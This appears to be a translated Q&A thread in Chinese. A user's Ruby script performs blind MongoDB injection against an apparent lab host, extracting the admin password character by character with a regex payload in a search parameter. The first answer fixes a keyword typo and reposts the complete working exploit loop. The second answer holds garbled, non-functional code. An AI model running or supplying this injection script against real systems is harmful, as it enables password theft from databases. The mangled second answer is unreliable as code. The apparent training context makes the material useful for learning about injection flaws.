意外的keyword_end MongoDB注入

时间:2019-05-18 06:11:29

标签: ruby mongodb code-injection

我正在执行一项任务,使用ruby从NoSQL数据库中检索更多信息。每次我运行代码时都会收到语法错误

    require 'httparty'
    URL="ptl-eb7cd0e0-778a277a.libcurl.so"
    def check?(str)
    resp = HTTParty.get("http://#{URL}/? 
    search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")

    return resp.body =~ />admin</
    end


    #puts check?("d").inspect
    #puts check?("aaa").inspect

    CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
    password = ""

    While true
    CHARSET.each do |c|
    puts "Trying: #{c} for #{password}"
    test = password+c
    if check?("^#{test}.*$") 
    password+=c
    puts password
    break
    end
    end
    end

2 个答案:

答案 0 :(得分:3)

有一个错字while是关键字,需要小写。

require 'httparty'

URL = "ptl-eb7cd0e0-778a277a.libcurl.so"

def check?(str)
  resp = HTTParty.get(
    "http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
  )

  return resp.body =~ />admin</
end


# puts check?("d").inspect
# puts check?("aaa").inspect

CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""

while true                      # `while` needs to be downcase
  CHARSET.each do |c|
    puts "Trying: #{c} for #{password}"
    test = password + c
    if check?("^#{test}.*$") 
      password += c
      puts password
      break
    end
  end
end

顺便说一句。适当的缩进和一些白色可以大大提高可读性。

答案 1 :(得分:0)

这是httparty gem的问题。 首先,安装相同。我也对代码做了一些更改。 代码正在运行,但仍未得到结果。

我进行了以下更改:

需要“ httparty”

URL =(URI.encode'myurl')

def检查吗?(str)   resp = HTTParty.get(URI.encode“ http://myurl/?search=admin%27%20%26%26%20this.password.match(#/ {str} /)%00”)   return resp.body =〜/> admin

是否检查?(“ 5”)。检查 放支票?(“ aaa”)。inspect

建议使用URI.encode函数。 我仍然试图获得所需的输出。 希望我能得到结果。

您可以修改脚本或让我知道您是否成功运行了脚本。